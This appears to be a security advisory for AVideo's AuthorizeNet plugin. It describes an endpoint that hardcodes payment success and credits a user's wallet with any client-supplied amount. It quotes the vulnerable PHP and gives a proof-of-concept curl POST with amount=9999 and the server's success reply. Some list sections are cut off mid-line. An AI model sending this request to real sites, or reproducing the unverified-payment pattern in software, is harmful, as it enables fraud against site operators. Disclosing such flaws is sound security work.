plugin/AuthorizeNet/processPayment.json.php credits the logged-in user's wallet based only on the attacker-controlled amount POST parameter.
The endpoint contains a TODO for real Authorize.Net charging, hardcodes $paymentSuccess = true, and then calls YPTWallet::addBalance() without validating
any Authorize.Net transaction, webhook signature, hosted payment token, nonce, or server-side payment record.
This allows any logged-in user to add arbitrary funds to their own AVideo wallet when the AuthorizeNet and YPTWallet plugins are enabled.
Affected file:
plugin/AuthorizeNet/processPayment.json.php
Relevant code:
$amount = isset($_POST['amount']) ? floatval($_POST['amount']) : 0;
$userData = isset($_POST['userData']) ? $_POST['userData'] : [];
if ($amount <= 0) {
echo json_encode(['error' => 'Invalid amount']);
exit;
}
// TODO: Implement payment logic using Authorize.Net API
// Example: Call Authorize.Net API here
// $result = $plugin->chargePayment($amount, $userData);
// Simulate payment success for now
$paymentSuccess = true;
$users_id = @User::getId();
if ($paymentSuccess && !empty($users_id)) {
$walletPlugin = AVideoPlugin::loadPluginIfEnabled("YPTWallet");
if ($walletPlugin) {
$walletPlugin->addBalance($users_id, $amount, 'Authorize.Net one-time payment');
echo json_encode(['success' => true, 'result' => 'Payment processed and wallet updated']);
exit;
}
}
Vulnerable flow:
$_POST['amount'] is read from the client.$paymentSuccess is hardcoded to true.There is no verification of:
Prerequisites:
Steps:
curl -i -s -b 'PHPSESSID=<user_session>' \
-X POST 'https://target.example/plugin/AuthorizeNet/processPayment.json.php' \
--data 'amount=9999&userData[note]=poc'
{"success":true,"result":"Payment processed and wallet updated"}
No Authorize.Net hosted payment page, card payment, transaction confirmation, webhook, or server-side payment validation is required.
A normal authenticated user can mint arbitrary wallet balance.
Depending on the target site's configuration, this may allow the attacker to:
processPayment.json.php if it is obsolete.amount alone.addBalance().{
"cwe_ids": [
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-04T18:47:35Z",
"nvd_published_at": "2026-05-29T14:16:32Z",
"severity": "HIGH"
}